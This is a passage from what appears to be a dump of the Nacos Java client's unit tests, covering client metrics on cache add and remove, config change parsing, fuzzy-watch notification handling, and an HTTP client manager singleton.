       Properties prop = new Properties();\n        prop.put(\"enableClientMetrics\", \"true\");\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        final ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            clientWorker.removeCache(dataId, group, tenant);\n            \n            verify(mockGaugeChild, times(1)).set(0);\n        }\n    }\n    \n    @Test\n    void testRemoveCacheWithMetricsDisabled() throws Exception {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        prop.put(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"false\");\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        final ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        clientWorkerSpy = Mockito.spy(clientWorker);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            clientWorker.removeCache(dataId, group, tenant);\n            \n            verify(mockGaugeChild, times(0)).set(0);\n        }\n    }\n    \n    @Test\n    void testRemoveCacheWithDefaultClientMetricsEnabled() throws Exception {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        final ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            clientWorker.removeCache(dataId, group, tenant);\n            \n            verify(mockGaugeChild, times(1)).set(0);\n        }\n    }\n    \n    @Test\n    void testMetricsMonitorSetThrowsException() throws NacosException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        prop.put(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\");\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        final ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        clientWorkerSpy = Mockito.spy(clientWorker);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            RuntimeException exception = new RuntimeException(\"Mocked exception\");\n            doThrow(exception).when(mockGaugeChild).set(0);\n            \n            assertDoesNotThrow(() -> clientWorker.removeCache(dataId, group, tenant));\n        }\n    }\n    \n    @Test\n    public void testAddCacheDataIfAbsentEnableClientMetricsTrue() throws NacosException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        prop.put(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"true\");\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            clientWorker.addCacheDataIfAbsent(dataId, group, tenant);\n            \n            verify(mockGaugeChild, times(1)).set(1);\n        }\n    }\n    \n    @Test\n    public void testAddCacheDataIfAbsentEnableClientMetricsFalse() throws NacosException {\n        \n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        prop.put(PropertyKeyConst.ENABLE_CLIENT_METRICS, \"false\");\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            clientWorker.addCacheDataIfAbsent(dataId, group, tenant);\n            \n            mockedMetricsMonitor.verify(MetricsMonitor::getListenConfigCountMonitor, never());\n        }\n    }\n    \n    @Test\n    public void testAddCacheDataIfAbsentEnableClientMetricsNotSet() throws NacosException {\n        String dataId = \"testDataId\";\n        String group = \"testGroup\";\n        String tenant = \"testTenant\";\n        \n        Properties prop = new Properties();\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        ConfigServerListManager agent = mock(ConfigServerListManager.class);\n        \n        NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(prop);\n        ClientWorker clientWorker = new ClientWorker(filter, agent, nacosClientProperties);\n        \n        Gauge.Child mockGaugeChild = mock(Gauge.Child.class);\n        try (MockedStatic<MetricsMonitor> mockedMetricsMonitor = Mockito.mockStatic(MetricsMonitor.class)) {\n            mockedMetricsMonitor.when(MetricsMonitor::getListenConfigCountMonitor).thenReturn(mockGaugeChild);\n            \n            clientWorker.addCacheDataIfAbsent(dataId, group, tenant);\n            \n            verify(mockGaugeChild, times(1)).set(1);\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/ConfigChangeHandlerTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeItem;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigChangeHandlerTest {\n    \n    @Test\n    void testParseProperties() throws IOException {\n        Map properties = ConfigChangeHandler.getInstance().parseChangeData(\"\", \"app.name = nacos\", \"properties\");\n        assertEquals(\"nacos\", ((ConfigChangeItem) properties.get(\"app.name\")).getNewValue());\n    }\n    \n    @Test\n    void testParseYaml() throws IOException {\n        Map properties = ConfigChangeHandler.getInstance().parseChangeData(\"\", \"app:\\n  name: nacos\", \"yaml\");\n        assertEquals(\"nacos\", ((ConfigChangeItem) properties.get(\"app.name\")).getNewValue());\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatchGroupKeyHolderTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.config.listener.AbstractFuzzyWatchEventWatcher;\nimport com.alibaba.nacos.api.config.listener.ConfigFuzzyWatchChangeEvent;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest;\nimport com.alibaba.nacos.api.config.remote.response.ConfigFuzzyWatchResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.client.config.common.GroupKey;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.ArgumentMatchers;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.HashSet;\nimport java.util.Set;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.TimeoutException;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicInteger;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.ADD_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_DIFF_SYNC_NOTIFY;\nimport static com.alibaba.nacos.api.common.Constants.FUZZY_WATCH_INIT_NOTIFY;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\npublic class ConfigFuzzyWatchGroupKeyHolderTest {\n    \n    ConfigFuzzyWatchGroupKeyHolder configFuzzyWatchGroupKeyHolder;\n    \n    @Mock\n    ClientWorker.ConfigRpcTransportClient rpcTransportClient;\n    \n    String clientId = \"conn\" + System.currentTimeMillis();\n    \n    String tenant = \"t1\";\n    \n    @BeforeEach\n    void before() {\n        configFuzzyWatchGroupKeyHolder = new ConfigFuzzyWatchGroupKeyHolder(rpcTransportClient, clientId);\n        doReturn(true).when(rpcTransportClient).isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH);\n    }\n    \n    @AfterEach\n    void after() {\n    }\n    \n    @Test\n    void testRegisterFuzzyWatcherAndNotify() throws InterruptedException {\n        when(rpcTransportClient.getTenant()).thenReturn(tenant);\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        \n        AtomicInteger watcher1Flag = new AtomicInteger(0);\n        AtomicInteger watcher2Flag = new AtomicInteger(0);\n        configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(dataId + \"*\", group, new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                watcher1Flag.incrementAndGet();\n            }\n        });\n        \n        configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(dataId + \"*\", group, new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                watcher2Flag.incrementAndGet();\n            }\n        });\n        \n        String groupKey1 = GroupKey.getKeyTenant(dataId + 1, group, tenant);\n        //build init notify add\n        Set<ConfigFuzzyWatchSyncRequest.Context> contexts = new HashSet<>();\n        contexts.add(ConfigFuzzyWatchSyncRequest.Context.build(groupKey1, ADD_CONFIG));\n        String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(dataId + \"*\", group, tenant);\n        ConfigFuzzyWatchSyncRequest initNotifyRequest = ConfigFuzzyWatchSyncRequest.buildSyncRequest(\n                FUZZY_WATCH_INIT_NOTIFY, contexts, groupKeyPattern, 1, 1);\n        configFuzzyWatchGroupKeyHolder.handleFuzzyWatchSyncNotifyRequest(initNotifyRequest);\n        //check watcher notified\n        Thread.sleep(100L);\n        System.out.println(watcher1Flag.get());\n        Assertions.assertTrue(watcher1Flag.get() == 1);\n        \n        //build change notify add\n        String changedGroupKey2Add = GroupKey.getKeyTenant(dataId + 2, group, tenant);\n        ConfigFuzzyWatchChangeNotifyRequest changedNotifyRequest = new ConfigFuzzyWatchChangeNotifyRequest(\n                changedGroupKey2Add, ADD_CONFIG);\n        configFuzzyWatchGroupKeyHolder.handlerFuzzyWatchChangeNotifyRequest(changedNotifyRequest);\n        \n        //check watcher notified\n        Thread.sleep(100L);\n        Assertions.assertTrue(watcher1Flag.get() == 2);\n        \n        //check not complete future timeout\n        ConfigFuzzyWatchContext configFuzzyWatchContext = configFuzzyWatchGroupKeyHolder.getFuzzyListenContext(\n                dataId + \"*\", group);\n        Future<Set<String>> newFutureNotFinish = configFuzzyWatchContext.createNewFuture();\n        try {\n            newFutureNotFinish.get(1000L, TimeUnit.MILLISECONDS);\n            Assertions.assertFalse(true);\n        } catch (TimeoutException e) {\n            Assertions.assertTrue(true);\n        } catch (Throwable throwable) {\n            Assertions.assertFalse(true);\n        }\n        \n        // build init finish notify\n        ConfigFuzzyWatchSyncRequest configFuzzyWatchSyncRequest = ConfigFuzzyWatchSyncRequest.buildInitFinishRequest(\n                groupKeyPattern);\n        configFuzzyWatchGroupKeyHolder.handleFuzzyWatchSyncNotifyRequest(configFuzzyWatchSyncRequest);\n        \n        //check a completed future.\n        Future<Set<String>> newFutureFinish = configFuzzyWatchContext.createNewFuture();\n        try {\n            Set<String> groupKeys = newFutureFinish.get(10L, TimeUnit.MILLISECONDS);\n            Assertions.assertTrue(\n                    groupKeys != null && groupKeys.contains(groupKey1) && groupKeys.contains(changedGroupKey2Add));\n        } catch (Exception e) {\n            Assertions.assertTrue(false);\n        }\n        \n        //check watcher notified delete\n        Thread.sleep(100L);\n        Assertions.assertTrue(watcher1Flag.get() == 2);\n        Assertions.assertTrue(watcher1Flag.get() == 2);\n        \n        //build change notify\n        String changedGroupKey2Delete = changedGroupKey2Add;\n        \n        ConfigFuzzyWatchChangeNotifyRequest changedNotifyRequestDelete = new ConfigFuzzyWatchChangeNotifyRequest(\n                changedGroupKey2Delete, DELETE_CONFIG);\n        configFuzzyWatchGroupKeyHolder.handlerFuzzyWatchChangeNotifyRequest(changedNotifyRequestDelete);\n        //check watcher notified delete\n        Thread.sleep(100L);\n        Assertions.assertTrue(watcher1Flag.get() == 3);\n        Assertions.assertTrue(watcher1Flag.get() == 3);\n        \n        Future<Set<String>> newFuture = configFuzzyWatchContext.createNewFuture();\n        \n        try {\n            Set<String> groupKeys = newFuture.get(10L, TimeUnit.MILLISECONDS);\n            Assertions.assertTrue(\n                    groupKeys != null && groupKeys.contains(groupKey1) && !groupKeys.contains(changedGroupKey2Delete));\n        } catch (Exception e) {\n            Assertions.assertTrue(false);\n        }\n        \n        //build sync delete\n        String groupKey1Delete = groupKey1;\n        //build init notify add\n        Set<ConfigFuzzyWatchSyncRequest.Context> contextsDelete = new HashSet<>();\n        contextsDelete.add(ConfigFuzzyWatchSyncRequest.Context.build(groupKey1Delete, DELETE_CONFIG));\n        ConfigFuzzyWatchSyncRequest deleteNotifyRequest = ConfigFuzzyWatchSyncRequest.buildSyncRequest(\n                FUZZY_WATCH_DIFF_SYNC_NOTIFY, contextsDelete, groupKeyPattern, 1, 1);\n        configFuzzyWatchGroupKeyHolder.handleFuzzyWatchSyncNotifyRequest(deleteNotifyRequest);\n        \n        //check watcher notified delete\n        Thread.sleep(100L);\n        Assertions.assertTrue(watcher1Flag.get() == 4);\n        Assertions.assertTrue(watcher1Flag.get() == 4);\n        \n        Future<Set<String>> newFutureEmpty = configFuzzyWatchContext.createNewFuture();\n        \n        try {\n            Set<String> groupKeys = newFutureEmpty.get(10L, TimeUnit.MILLISECONDS);\n            Assertions.assertTrue(CollectionUtils.isEmpty(groupKeys));\n        } catch (Exception e) {\n            Assertions.assertTrue(false);\n        }\n        \n        configFuzzyWatchGroupKeyHolder.resetConsistenceStatus();\n        Assertions.assertFalse(configFuzzyWatchContext.isConsistentWithServer());\n    }\n    \n    @Test\n    void testExecuteConfigFuzzyListen() throws NacosException {\n        when(rpcTransportClient.getTenant()).thenReturn(tenant);\n        \n        ConfigFuzzyWatchContext configFuzzyWatchContext = configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"da1*\",\n                \"group*\", new AbstractFuzzyWatchEventWatcher() {\n                    @Override\n                    public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                    \n                    }\n                });\n        configFuzzyWatchContext.setConsistentWithServer(true);\n        \n        configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"da2*\", \"group*\", new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n        });\n        \n        configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"da3*\", \"group*\", new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n        });\n        \n        RpcClient rpcClient = Mockito.mock(RpcClient.class);\n        when(rpcTransportClient.ensureRpcClient(eq(\"0\"))).thenReturn(rpcClient);\n        ThreadPoolExecutor scheduledExecutorService = Mockito.mock(ThreadPoolExecutor.class);\n        when(rpcTransportClient.getExecutor()).thenReturn(scheduledExecutorService);\n        when(scheduledExecutorService.submit(any(Runnable.class))).thenReturn(Mockito.mock(Future.class));\n        configFuzzyWatchGroupKeyHolder.executeConfigFuzzyListen();\n        \n        verify(scheduledExecutorService, times(2)).submit(ArgumentMatchers.any(Runnable.class));\n        \n    }\n    \n    @Test\n    void testExecuteFuzzyWatchRequestNormal() throws NacosException {\n        reset(rpcTransportClient);\n        String envName = \"name\";\n        String groupKeyPattern = \"pattern\";\n        ConfigFuzzyWatchContext configFuzzyWatchContext = new ConfigFuzzyWatchContext(envName, groupKeyPattern);\n        configFuzzyWatchContext.refreshOverLimitTs();\n        RpcClient rpcClient = Mockito.mock(RpcClient.class);\n        \n        when(rpcTransportClient.requestProxy(eq(rpcClient), any(ConfigFuzzyWatchRequest.class))).thenReturn(\n                new ConfigFuzzyWatchResponse());\n        configFuzzyWatchGroupKeyHolder.executeFuzzyWatchRequest(configFuzzyWatchContext, rpcClient);\n        \n        Assertions.assertTrue(!configFuzzyWatchContext.patternLimitSuppressed());\n        Assertions.assertTrue(configFuzzyWatchContext.isConsistentWithServer());\n        \n    }\n    \n    @Test\n    void testExecuteFuzzyWatchRequestRemove() throws NacosException {\n        \n        AbstractFuzzyWatchEventWatcher abstractFuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n        };\n        configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"*\", \"*\", abstractFuzzyWatchEventWatcher);\n        configFuzzyWatchGroupKeyHolder.removeFuzzyWatcher(\"*\", \"*\", abstractFuzzyWatchEventWatcher);\n        \n        RpcClient rpcClient = Mockito.mock(RpcClient.class);\n        when(rpcTransportClient.requestProxy(eq(rpcClient), any(ConfigFuzzyWatchRequest.class))).thenReturn(\n                new ConfigFuzzyWatchResponse());\n        configFuzzyWatchGroupKeyHolder.executeFuzzyWatchRequest(\n                configFuzzyWatchGroupKeyHolder.getFuzzyListenContext(\"*\", \"*\"), rpcClient);\n        \n        Assertions.assertTrue(configFuzzyWatchGroupKeyHolder.getFuzzyListenContext(\"*\", \"*\") == null);\n        \n    }\n    \n    @Test\n    void testExecuteFuzzyWatchRequestOverLoad() throws NacosException, InterruptedException {\n        \n        AtomicBoolean patternOvrFlag = new AtomicBoolean(false);\n        AtomicBoolean configCountOverFlag = new AtomicBoolean(false);\n        \n        AbstractFuzzyWatchEventWatcher abstractFuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n            \n            }\n            \n            @Override\n            public void onPatternOverLimit() {\n                patternOvrFlag.set(true);\n            }\n            \n            @Override\n            public void onConfigReachUpLimit() {\n                configCountOverFlag.set(true);\n            }\n        };\n        ConfigFuzzyWatchContext configFuzzyWatchContext = configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"*\", \"*\",\n                abstractFuzzyWatchEventWatcher);\n        \n        RpcClient rpcClient = Mockito.mock(RpcClient.class);\n        \n        //test pattern over load\n        ConfigFuzzyWatchResponse overloadResponse = new ConfigFuzzyWatchResponse();\n        overloadResponse.setErrorInfo(FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode(),\n                FUZZY_WATCH_PATTERN_OVER_LIMIT.getMsg());\n        when(rpcTransportClient.requestProxy(eq(rpcClient), any(ConfigFuzzyWatchRequest.class))).thenReturn(\n                overloadResponse);\n        configFuzzyWatchGroupKeyHolder.executeFuzzyWatchRequest(configFuzzyWatchContext, rpcClient);\n        Thread.sleep(100L);\n        Assertions.assertTrue(configFuzzyWatchContext.patternLimitSuppressed());\n        Assertions.assertTrue(!configFuzzyWatchContext.isConsistentWithServer());\n        Assertions.assertTrue(patternOvrFlag.get());\n        Assertions.assertFalse(configCountOverFlag.get());\n        \n        configFuzzyWatchContext.clearOverLimitTs();\n        ConfigFuzzyWatchResponse countOverloadResponse = new ConfigFuzzyWatchResponse();\n        countOverloadResponse.setErrorInfo(FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode(),\n                FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getMsg());\n        when(rpcTransportClient.requestProxy(eq(rpcClient), any(ConfigFuzzyWatchRequest.class))).thenReturn(\n                countOverloadResponse);\n        configFuzzyWatchGroupKeyHolder.executeFuzzyWatchRequest(configFuzzyWatchContext, rpcClient);\n        Thread.sleep(100L);\n        Assertions.assertTrue(configFuzzyWatchContext.patternLimitSuppressed());\n        Assertions.assertTrue(!configFuzzyWatchContext.isConsistentWithServer());\n        Assertions.assertTrue(configCountOverFlag.get());\n        \n    }\n    \n    @Test\n    void testSyncWhenWatcherFail() throws NacosException, InterruptedException {\n        when(rpcTransportClient.getTenant()).thenReturn(tenant);\n        \n        String groupKey = GroupKey.getKeyTenant(\"dataIdName124\", \"group\", tenant);\n        \n        AtomicInteger watcherFlag = new AtomicInteger(0);\n        \n        AbstractFuzzyWatchEventWatcher abstractFuzzyWatchEventWatcher = new AbstractFuzzyWatchEventWatcher() {\n            \n            @Override\n            public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                int get = watcherFlag.incrementAndGet();\n                if (get < 2) {\n                    System.out.println(\"times \" + get + \" fail\");\n                    throw new RuntimeException(\"mock exception\");\n                } else {\n                    System.out.println(\"times \" + get + \" success\");\n                    \n                }\n            }\n        };\n        \n        ConfigFuzzyWatchContext configFuzzyWatchContext = configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\n                \"dataIdName*\", \"group\", abstractFuzzyWatchEventWatcher);\n        \n        ConfigFuzzyWatchChangeNotifyRequest configFuzzyWatchChangeNotifyRequest = new ConfigFuzzyWatchChangeNotifyRequest(\n                groupKey, ADD_CONFIG);\n        configFuzzyWatchGroupKeyHolder.handlerFuzzyWatchChangeNotifyRequest(configFuzzyWatchChangeNotifyRequest);\n        \n        TimeUnit.MILLISECONDS.sleep(100L);\n        \n        //notify 1, fail\n        configFuzzyWatchContext.syncFuzzyWatchers();\n        //notify 2,success\n        configFuzzyWatchContext.syncFuzzyWatchers();\n        //notify 3 +, will not trigger watchers.\n        configFuzzyWatchContext.syncFuzzyWatchers();\n        configFuzzyWatchContext.syncFuzzyWatchers();\n        configFuzzyWatchContext.syncFuzzyWatchers();\n        //expect  2 times notified\n        Assertions.assertEquals(2, watcherFlag.get());\n    }\n    \n    @Test\n    void testFuzzyWatchNotSupport() {\n        when(rpcTransportClient.isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH)).thenReturn(false);\n        Assertions.assertThrows(NacosRuntimeException.class, () -> {\n            configFuzzyWatchGroupKeyHolder.registerFuzzyWatcher(\"dataIdName*\", \"group\",\n                    new AbstractFuzzyWatchEventWatcher() {\n                        \n                        @Override\n                        public void onEvent(ConfigFuzzyWatchChangeEvent event) {\n                        }\n                    });\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/ConfigHttpClientManagerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\nclass ConfigHttpClientManagerTest {\n    \n    @Test\n    void test() {\n        final ConfigHttpClientManager instance1 = ConfigHttpClientManager.getInstance();\n        final ConfigHttpClientManager instance2 = ConfigHttpClientManager.getInstance();\n        \n        assertEquals(instance1, instance2);\n        \n        final NacosRestTemplate nacosRestTemplate = instance1.getNacosRestTemplate();\n        assertNotNull(nacosRestTemplate);\n        \n        final int time1 = instance1.getConnectTimeoutOrDefault(10);\n        assertEquals(1000, time1);\n        final int time2 = instance1.getConnectTimeoutOrDefault(2000);\n        assertEquals(2000, time2);\n        \n        Assertions.assertDoesNotThrow(() -> {\n            instance1.shutdown();\n        });\n    }\n    \n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/ConfigServerListManagerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.address.AbstractServerListProvider;\nimport com.alibaba.nacos.client.address.EndpointServerListProvider;\nimport com.alibaba.nacos.client.address.ServerListProvider;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.NoSuchElementException;\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static 